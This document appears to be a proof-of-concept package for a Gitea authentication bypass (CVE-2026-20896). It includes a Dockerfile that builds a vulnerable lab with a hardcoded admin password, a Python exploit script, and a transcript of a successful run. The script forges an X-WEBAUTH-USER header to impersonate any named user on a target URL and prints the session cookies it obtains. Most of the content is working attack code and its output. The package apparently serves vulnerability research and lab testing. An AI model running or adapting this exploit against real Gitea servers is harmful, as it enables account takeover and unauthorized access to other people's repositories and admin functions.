FROM gitea/gitea:1.26.2

# Reverse-proxy authentication must be enabled to reproduce the vulnerable
# authentication flow described by CVE-2026-20896.
ENV GITEA__database__DB_TYPE=sqlite3 \
    GITEA__database__PATH=/data/gitea/gitea.db \
    GITEA__security__INSTALL_LOCK=true \
    GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true

RUN <<'EOF'
cat > /usr/local/bin/lab-entrypoint <<'SCRIPT'
#!/bin/sh
set -eu

CONFIG=/data/gitea/conf/app.ini
URL=http://127.0.0.1:3000
ADMIN_PASSWORD='Password123$!'

# Start Gitea using the original image entrypoint.
 /usr/bin/entrypoint "$@" &
pid=$!

trap 'kill -TERM "$pid" 2>/dev/null || true' TERM INT

# Wait until Gitea is ready before creating the lab account.
until curl -fsS "$URL/api/healthz" >/dev/null 2>&1; do
    sleep 1
done

# Create a local administrator account for vulnerability verification.
su-exec git gitea admin user create \
    --config "$CONFIG" \
    --username jbkira \
    --password "$ADMIN_PASSWORD" \
    --email [email protected] \
    --admin \
    --must-change-password=false \
    >/dev/null

wait "$pid"
SCRIPT

chmod +x /usr/local/bin/lab-entrypoint
EOF

ENTRYPOINT ["/usr/local/bin/lab-entrypoint"]

docker build -t gitea-cve-2026-20896-lab .

docker run -d --name gitea-cve-2026-20896 -p 3000:3000 gitea-cve-2026-20896-lab

import requests
import argparse

# Color codes for terminal output
GREEN = "\033[92m"
RED = "\033[91m"
YELLOW = "\033[93m"
ORANGE = "\033[33m"
BLUE = "\033[94m"
RESET = "\033[0m"

def attack(url, target_user):

    METHOD = "GET"
    HEADERS = {
        "User-Agent": "Mozilla/5.0",
        "X-WEBAUTH-USER": f"{target_user}",
    }

    resp = requests.request(method=METHOD,url=url,headers=HEADERS,verify=False)
    
    print(f"[+] Status code: {resp.status_code}\n")
    
    # Cookies that the server has set (via Set-Cookie)
    if resp.cookies:
        print(f"{GREEN}[+] Cookies retrieved for user {target_user}:{RESET}")
        for cookie in resp.cookies:
            print(f"    {cookie.name} = {cookie.value}")
    else:
        print(f"{RED}[-] The server has not returned any cookies.{RESET}")

def argparse_setup():
    parser = argparse.ArgumentParser(description="Exploit for Gitea Authentication Bypass (CVE-2026-20896) created by JBKira")
    parser.add_argument("-u", "--url", help="Target URL (e.g., http://targetIP:3000/)", required=True)
    parser.add_argument("-t", "--target-user", help="Target user for authentication bypass", required=True)
    return parser.parse_args()

def banner():
    print(f"{YELLOW}")
    print(r"""
        ███  █   █ █████       ███   ███   ███   ███        ███   ███   ███   ███   ███  
       █     █   █ █          █   █ █   █ █   █ █          █   █ █   █ █   █ █   █ █     
       █     █   █ ████  ████    █  █   █    █  ████  ████    █  █   █  ███   ████ ████  
       █      █ █  █            █   █   █   █   █   █        █   █   █ █   █     █ █   █ 
        ███    █   █████      █████  ███  █████  ███       █████  ███   ███   ███   ███                                                                                                                                                                     
    """)
    print(f"CVE-2026-20896 Exploit for Gitea Authentication Bypass created by JBKira{RESET}")
    print(f"{ORANGE}github.com/judgedbykira{RESET} | {BLUE}linkedin.com/in/yeray-medina{RESET}")
    print(f"Only use this in real penetration tests or lab environments. Unauthorized use is illegal.\n")

def main():
    banner()
    args = argparse_setup()
    attack(args.url, args.target_user)

if __name__ == "__main__":
    main()

┌──(kali㉿jbkira)-[~/Desktop/PoCs/gitea-CVE-2026-20896]
└─$ python3 poc.py -u http://localhost:3000 -t jbkira


        ███  █   █ █████       ███   ███   ███   ███        ███   ███   ███   ███   ███  
       █     █   █ █          █   █ █   █ █   █ █          █   █ █   █ █   █ █   █ █     
       █     █   █ ████  ████    █  █   █    █  ████  ████    █  █   █  ███   ████ ████  
       █      █ █  █            █   █   █   █   █   █        █   █   █ █   █     █ █   █ 
        ███    █   █████      █████  ███  █████  ███       █████  ███   ███   ███   ███                                                                                                                                                                     
    
CVE-2026-20896 Exploit for Gitea Authentication Bypass created by JBKira
github.com/judgedbykira | linkedin.com/in/yeray-medina
Only use this in real penetration tests or lab environments. Unauthorized use is illegal.

[+] Status code: 200

[+] Cookies retrieved for user jbkira:
    i_like_gitea = e12680e9c4e6e894
    lang = en-US